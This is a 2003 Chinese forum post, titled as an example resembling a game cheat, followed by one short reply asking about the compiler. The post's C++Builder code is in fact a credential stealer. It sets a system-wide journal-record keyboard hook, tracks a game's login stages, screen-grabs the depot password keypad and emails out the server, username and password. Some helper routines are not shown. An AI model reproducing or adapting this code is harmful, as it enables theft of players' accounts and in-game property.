编译器 发表于 2003-11-3 08:04

一个近似游戏外挂的实例

//跟踪游戏进程
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    bool BootFlag=false;
    AnsiString Data="";
    HWND hwnd=GetTopWindow(0);
    while (hwnd != 0)
    {
      char szWinCaption;
      char szWinClass;
      if(!GetWindowText(hwnd, szWinCaption, 256))
            *szWinCaption = 0;
      if(!GetClassName(hwnd,szWinClass,256))
            *szWinClass = 0;
      if((String(szWinClass)+String(szWinCaption))==GameFlag)
            BootFlag=true;
      hwnd=GetNextWindow(hwnd,GW_HWNDNEXT);
    }
    if((!BootFlag)&&(State>0))
    {
      State=0;
      AllResult+="~Data ";
      TStringList* MailText=new TStringList;
      MailText->Add("游戏名字:"+GameName);
      MailText->Add("附加标志:"+ThisFlag);
      MailText->Add("启动时间:"+TheDateTime);
      MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
      MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
      MailText->Add("登录消息:"+LogMessage);
      MailText->Add("登录图片:"+Coding(LogMap,254,238,222));
      MailText->Add("仓库消息:"+DepotMessage);
      MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
      MailText->Add("状态变化:"+AllResult);
      MailText->SaveToFile("222.txt");
      MailText->Add(String(SendMail(MailText)));
      MailText->SaveToFile("555.txt");
      delete MailText;
    }      
    switch(State)
    {
      case 0:
      {
            if(BootFlag)
                State=1;
            break;
      }
      case 1://已启动;
      {
            if(Validate(0))
            {
                AllResult+="~2 ";
                State=2;
            }
            break;
      }
      case 2://选择服务器状态;
      {
            if(Validate(1))
            {
                AllResult+="~3 ";
                State=3;
            }
            if(Validate(2))
            {
                AllResult+="~4 ";
                State=4;
            }
            break;
      }
      case 3://连接服务器状态;
      {
            if(Validate(2))
            {
                AllResult+="~4 ";
                State=4;
            }
            break;
      }
      case 4://登录状态;
      {
            bool Jumb=false;
            if(Validate(3))
            {
                AllResult+="~5 ";
                State=5;
                Jumb=true;
            }
            if(Validate(4))
            {
                AllResult+="~6 ";
                State=6;
                Jumb=true;
            }
            if(Jumb)
            {
                //发出包含区号、服务器号、用户名、密码的邮件;
                TStringList* MailText=new TStringList;
                MailText->Add("游戏名字:"+GameName);
                MailText->Add("附加标志:"+ThisFlag);
                MailText->Add("启动时间:"+TheDateTime);
                MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
                MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
                MailText->Add("登录消息:"+LogMessage);
                MailText->Add("登录图片:"+Coding(LogMap,254,238,222));

             MailText->Add("仓库消息:"+DepotMessage);
             MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
             MailText->Add("状态变化:"+AllResult);
                MailText->SaveToFile("111.txt");
                MailText->Add(String(SendMail(MailText)));
                MailText->SaveToFile("555.txt");
                delete MailText;
            }
            break;
      }
      case 5://检验密码状态;
      {
            if(Validate(4))
            {
                AllResult+="~6 ";
                State=6;
            }
            break;
      }
      case 6://选择角色状态;
      {
            if(Validate(5))
            {
                AllResult+="~7 ";
                State=7;
            }
            break;
      }
      case 7://游戏进行状态;
      {
            if(Validate(6))
            {
                TempDepotMessage="";
                AllResult+="~8 ";
                State=8;
            }
            break;
      }
      case 8://进入输入仓库密码状态;
      {
            if(Validate(7))
            {
                HDC hdc = GetDC(0);
                BitBlt(TempDepotMap->Canvas->Handle,0,0,342,272,hdc,340,160,SRCCOPY);
                ReleaseDC(0, hdc);

                AllResult+="~81 ";
                State=81;
            }
            break;
      }
      case 81://已输入四位仓库密码状态;
      {
            break;
      }
      case 82://判断仓库密码是否错误;
      {
            if(Validate(8))
            {
                AllResult+="~82~7 ";
                State=7;
            }
            else if(!Validate(7))
            {
                DepotMessage=TempDepotMessage;
                DepotMap->Canvas->Draw(0,0,TempDepotMap);
                AllResult+="~7 ";
                State=7;
            }
            break;
      }
    }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
    if(g_hLogHook==NULL)//安装日志钩子
      g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

    TheDateTime=DateToStr(Date())+" "+TimeToStr(Time());
    SectionMap = new Graphics::TBitmap;//区号图片
    ServerMap = new Graphics::TBitmap;//服务器号图片
    LogMap = new Graphics::TBitmap;//登录框图片
    DepotMap = new Graphics::TBitmap;//仓库键盘图片
    TempDepotMap = new Graphics::TBitmap;//仓库键盘图片

    SectionMap->Width = 200;
    SectionMap->Height = 100;
    ServerMap->Width = 100;
    ServerMap->Height = 272;
    LogMap->Width = 200;
    LogMap->Height = 172;
    DepotMap->Width = 342;
    DepotMap->Height = 272;
    TempDepotMap->Width = 342;
    TempDepotMap->Height = 272;

}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    if(g_hLogHook!=NULL)
    {
      UnhookWindowsHookEx(g_hLogHook);
      g_hLogHook=NULL;
    }

    SectionMap->Free();//收回区号图片空间
    ServerMap->Free();//收回服务器号图片空间
    LogMap->Free();//收回登录框图片空间
    DepotMap->Free();//收回仓库键盘图片空间
}
//---------------------------------------------------------------------------

owen 发表于 2003-11-6 22:52

C++builder?
页: [1]
查看完整版本: 一个近似游戏外挂的实例